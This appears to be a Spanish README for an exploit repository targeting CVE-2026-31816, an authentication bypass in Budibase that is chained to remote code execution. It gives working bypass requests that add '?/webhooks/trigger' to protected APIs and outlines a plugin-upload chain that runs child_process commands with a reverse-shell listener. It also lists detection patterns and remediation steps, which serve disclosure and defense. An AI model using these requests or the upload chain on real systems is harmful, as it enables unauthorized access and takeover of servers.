k3ystr0k3r/cve-2026-31816CVE-2026-31816 - Bypass de autenticación de Budibase a RCE
CVE-2026-31816 es una vulnerabilidad crítica de bypass de autenticación y autorización que afecta a Budibase.
La vulnerabilidad se encuentra en el middleware de autorización del lado del servidor responsable de proteger los endpoints de la API. Budibase intenta identificar endpoints de webhook legítimos con una expresión regular no anclada y evalúa dicha expresión contra ctx.request.url de Koa.
Debido a que ctx.request.url contiene la cadena de consulta, un atacante puede inyectar una ruta con apariencia de webhook en el componente de consulta de una solicitud de API por lo demás no relacionada.
Por ejemplo:
/api/integrations?/webhooks/trigger
La solicitud no apunta realmente al endpoint de webhook. Sin embargo, la comprobación vulnerable puede interpretar /webhooks/trigger como evidencia de que la solicitud es una solicitud webhook legítima y permitir que la ejecución continúe sin los controles normales de autenticación y autorización.
NVD describe el problema como la posibilidad de que un atacante remoto completamente no autenticado acceda a endpoints de API del lado del servidor añadiendo un patrón de ruta de webhook a la URL.
NVD registra las versiones de Budibase hasta 3.31.4 como afectadas y asigna una puntuación CVSS 3.1 de 9.1.
La lógica vulnerable se centra en la detección de webhooks que se realiza antes de la autorización normal.
El aviso de seguridad documenta código conceptualmente equivalente a:
const WEBHOOK_ENDPOINTS = new RegExp(
[
"webhooks/trigger",
"webhooks/schema",
"webhooks/discord",
"webhooks/ms-teams"
].join("|")
)
export function isWebhookEndpoint(ctx) {
return WEBHOOK_ENDPOINTS.test(ctx.request.url)
}
El problema es la combinación de dos comportamientos:
ctx.request.url contiene la cadena de consulta.Eso significa que la expresión no necesita coincidir con la ruta real de la solicitud.
Una solicitud como:
/api/some/protected/endpoint?/webhooks/trigger
aún contiene la cadena:
/webhooks/trigger
dentro de la URL que se está evaluando.
El middleware de autorización trata posteriormente la solicitud como una solicitud webhook y llega al endpoint sin realizar el flujo de autorización normal.
El aviso de seguridad de Budibase identifica explícitamente esto como la falla subyacente y señala que el bypass omite la autenticación, la autorización, las comprobaciones de roles y la protección CSRF.
Se esperaría que una solicitud normal a un endpoint de API protegido pasara a través de la capa de autenticación.
Por ejemplo:
GET /api/integrations HTTP/1.1
Host: target.example
Connection: close
En cambio, se puede acceder a una instancia vulnerable con el patrón de cadena de consulta de webhook:
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: target.example
Connection: close
La parte importante es:
?/webhooks/trigger
El endpoint en sí no ha cambiado:
/api/integrations
Solo se ha modificado la cadena de consulta.
El aviso público de Budibase demuestra esta técnica exacta contra /api/integrations y varios otros endpoints del lado del servidor.
Una forma segura de verificar el bypass de autenticación en un laboratorio controlado es comparar una solicitud ordinaria con la variante de consulta de webhook.
GET /api/integrations HTTP/1.1
Host: 127.0.0.1:10000
Connection: close
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Connection: close
El servidor vulnerable puede procesar la segunda solicitud sin los controles de autenticación que normalmente protegerían el endpoint.
Un PoC publicado utiliza de manera similar:
/api/integrations?/webhooks/trigger
como una verificación simple de vulnerabilidad.
Lo siguiente demuestra la estructura de una solicitud de API autenticada transformada en una solicitud no autenticada al añadir el patrón de webhook.
POST /api/ta_users/search?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Content-Type: application/json
x-budibase-app-id: <TARGET_WORKSPACE_ID>
Connection: close
Content-Length: 12
{"query":{}}
El aviso oficial de Budibase documenta este endpoint como una de las superficies de API afectadas.
Otros endpoints del lado del servidor documentados como alcanzables a través de la misma falla incluyen:
/api/tables
/api/datasources
/api/automations
/api/roles
/api/integrations
/api/views
/api/plugins
La observación clave es que la vulnerabilidad no está ligada a un recurso de aplicación particular. El middleware de autorización afectado se encuentra frente a un amplio conjunto de API del lado del servidor.
El bypass de autenticación puede volverse considerablemente más grave cuando se combina con una API sensible capaz de aceptar funcionalidad controlada por el atacante.
El PoC de este repositorio encadena la vulnerabilidad de la siguiente manera:
┌─────────────────────────┐
│ Remote attacker │
└────────────┬────────────┘
│
│ ?/webhooks/trigger
▼
┌─────────────────────────┐
│ Budibase authorization │
│ middleware │
└────────────┬────────────┘
│
│ authentication bypass
▼
┌─────────────────────────┐
│ Protected server-side │
│ API endpoints │
└────────────┬────────────┘
│
│ plugin upload
▼
┌─────────────────────────┐
│ /api/plugin/upload │
└────────────┬────────────┘
│
│ crafted plugin
▼
┌─────────────────────────┐
│ Plugin JavaScript code │
│ execution │
└────────────┬────────────┘
│
▼
Code execution
/api/integrations, luego construye un archivo de plugin de Budibase y lo envía a través de /api/plugin/upload.Una vez que se ha omitido la autorización, la solicitud de carga de plugin sigue el formato normal de carga multipart, con la consulta de webhook vulnerable añadida a la URL.
Una representación saneada es:
POST /api/plugin/upload?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=------------------------boundary
Connection: close
--------------------------boundary
Content-Disposition: form-data; name="file"; filename="datasource-helper.tar.gz"
Content-Type: application/gzip
<PLUGIN_ARCHIVE_BYTES>
--------------------------boundary--
El PoC del repositorio crea esta solicitud multipart con un archivo de plugin .tar.gz y la envía a /api/plugin/upload?/webhooks/trigger.
Por seguridad, la solicitud anterior deja intencionalmente el archivo ejecutable como un marcador de posición en lugar de incrustar un payload de reverse shell directamente en la documentación.
El PoC genera un archivo de plugin que contiene:
package.json
schema.json
datasource-helper.js
El archivo se crea como un tarball comprimido con gzip.
El componente JavaScript se construye de modo que Node.js cargue child_process y ejecute un comando proporcionado:
var cp = require("child_process");
var cmd = "<COMMAND>";
cp.exec(cmd);
La implementación del repositorio admite múltiples tipos de payload y genera el comando correspondiente dinámicamente.
Esta es la segunda etapa de la cadena:
Authentication bypass
↓
Unauthenticated API access
↓
Plugin upload
↓
Attacker-controlled JavaScript
↓
Node.js command execution
La vulnerabilidad es fundamentalmente un error de análisis de URL y de límite de confianza.
La aplicación necesita que algunas rutas de webhook sean públicamente accesibles. En lugar de determinar si la ruta real de la solicitud pertenece a una ruta de webhook permitida, la implementación vulnerable busca una subcadena coincidente en toda la URL.
Conceptualmente:
Expected:
request.path
│
└── must actually equal a webhook endpoint
Actual vulnerable behavior:
request.url
│
├── path
└── query string
│
└── attacker-controlled text
│
└── /webhooks/trigger
Debido a que la cadena de consulta está controlada por el atacante, este puede colocar la cadena esperada por el detector de webhooks en cualquier parte de la URL.
Eso hace que una comprobación booleana sensible a la seguridad devuelva el resultado incorrecto:
isWebhookEndpoint(ctx)
│
├── false → normal authorization
│
└── true → return next()
│
├── authentication skipped
├── authorization skipped
├── role checks skipped
└── CSRF checks skipped
El aviso de Budibase describe explícitamente el comportamiento de return next() anticipado y el consiguiente bypass de las comprobaciones de seguridad.
La vulnerabilidad es considerablemente más amplia que un simple bypass de inicio de sesión.
Según el aviso del proveedor, la explotación puede proporcionar acceso no autenticado a API del lado del servidor que afectan:
El aviso también confirma que el bypass elimina la protección CSRF y no requiere ni interacción del usuario ni credenciales existentes.
Cuando una API vulnerable capaz de procesar funcionalidad controlada por el atacante es alcanzable a través del bypass, la vulnerabilidad puede encadenarse hasta convertirse en ejecución arbitraria de código.
El PoC incluido en este repositorio demuestra esa ruta de ataque construyendo un archivo de plugin, subiéndolo y esperando su ejecución.
Una estrategia básica de detección es comparar el comportamiento de autenticación de una solicitud ordinaria y el de la misma solicitud con un sufijo de consulta estilo webhook.
Ejemplo:
curl -i http://127.0.0.1:10000/api/integrations
frente a:
curl -i 'http://127.0.0.1:10000/api/integrations?/webhooks/trigger'
Una instalación vulnerable puede exponer un endpoint protegido a través de la segunda solicitud.
Esta técnica también se utiliza en material de detección disponible públicamente para CVE-2026-31816.
La entrada de NVD identifica:
Budibase <= 3.31.4
como afectadas.
Hay una discrepancia documental importante que vale la pena señalar: el aviso de seguridad de GitHub actualmente muestra "Versiones parcheadas: Ninguna", mientras que las referencias independientes de vulnerabilidad identifican 3.31.5 y posteriores como el límite de remediación.
Por esa razón, este repositorio no debe presentar 3.31.5 como un parche incuestionable confirmado por el proveedor a menos que la versión/cambio correspondiente de Budibase se verifique de forma independiente.
La remediación principal es actualizar Budibase a una versión que contenga el parche oficial.
Hasta que sea posible parchear, los controles defensivos pueden incluir:
1. Restrict network access to the Budibase server.
2. Place the administrative interface behind trusted-network controls.
3. Monitor for webhook-style strings appearing in API query parameters.
4. Review logs for requests containing:
/webhooks/trigger
/webhooks/schema
/webhooks/discord
/webhooks/ms-teams
5. Restrict unnecessary plugin-management functionality.
La vulnerabilidad es especialmente preocupante para implementaciones autoalojadas expuestas a Internet porque el ataque no requiere una sesión autenticada.
Un indicador útil a nivel de registros es una solicitud de API que contenga un patrón de ruta de webhook en la cadena de consulta:
/api/*?/webhooks/trigger
/api/*?/webhooks/schema
/api/*?/webhooks/discord
/api/*?/webhooks/ms-teams
Por ejemplo:
GET /api/integrations?/webhooks/trigger
POST /api/plugin/upload?/webhooks/trigger
POST /api/ta_users/search?/webhooks/trigger
Estos patrones deben investigarse en lugar de tratarse automáticamente como prueba de explotación, ya que también deben considerarse el tráfico legítimo y el comportamiento específico de la aplicación.
La implementación del exploit en este repositorio se divide en varios componentes lógicos:
ExploitConfig
│
├── target
├── LHOST
├── LPORT
└── payload type
│
▼
BudibaseClient
│
├── vulnerability check
└── plugin upload
│
▼
PluginBuilder
│
└── .tar.gz
│
▼
PayloadBuilder
│
└── JavaScript
│
▼
command execution
La implementación también contiene un listener opcional para recibir una conexión de shell tras una explotación exitosa.
Para un laboratorio controlado:
1. Deploy a vulnerable Budibase release.
2. Send a baseline request to a protected endpoint.
3. Repeat the request with ?/webhooks/trigger.
4. Compare the authentication behavior.
5. Confirm that the protected API becomes reachable.
6. In an isolated environment, test the plugin-upload stage.
7. Verify command execution using a harmless proof such as creating a temporary marker file.
Esta vulnerabilidad es un buen ejemplo de por qué la coincidencia de URL sensible a la seguridad debe realizarse contra una ruta de solicitud correctamente analizada y normalizada, en lugar de una cadena de URL completa controlada por el atacante.
El error es sutil porque la funcionalidad de webhook en sí misma es legítima. El problema es la decisión de confianza que toma el middleware:
"¿Esta solicitud se dirige a un webhook?"
se responde efectivamente con:
"¿La URL completa contiene una subcadena con apariencia de webhook?"
Esas no son propiedades de seguridad equivalentes.
Por lo tanto, un atacante no necesita hacer que su solicitud se convierta realmente en una solicitud webhook. Solo necesita hacer que el middleware de autorización crea que lo es.
Este repositorio está destinado a investigación de seguridad, validación de vulnerabilidades y pruebas autorizadas. No uses el exploit contra sistemas que no poseas o para los que no tengas permiso explícito de prueba.
| Campo | Valor |
|---|
| CVE | CVE-2026-31816 |
| Vendedor | Budibase |
| Producto | Budibase |
| Versiones afectadas | <= 3.31.4 |
| Gravedad | Crítica |
| CVSS v3.1 | 9.1 |
| Vector CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-74 |
| Vector de ataque | Red |
| Privilegios requeridos | Ninguno |
| Interacción del usuario | Ninguna |
| Autenticación requerida | No |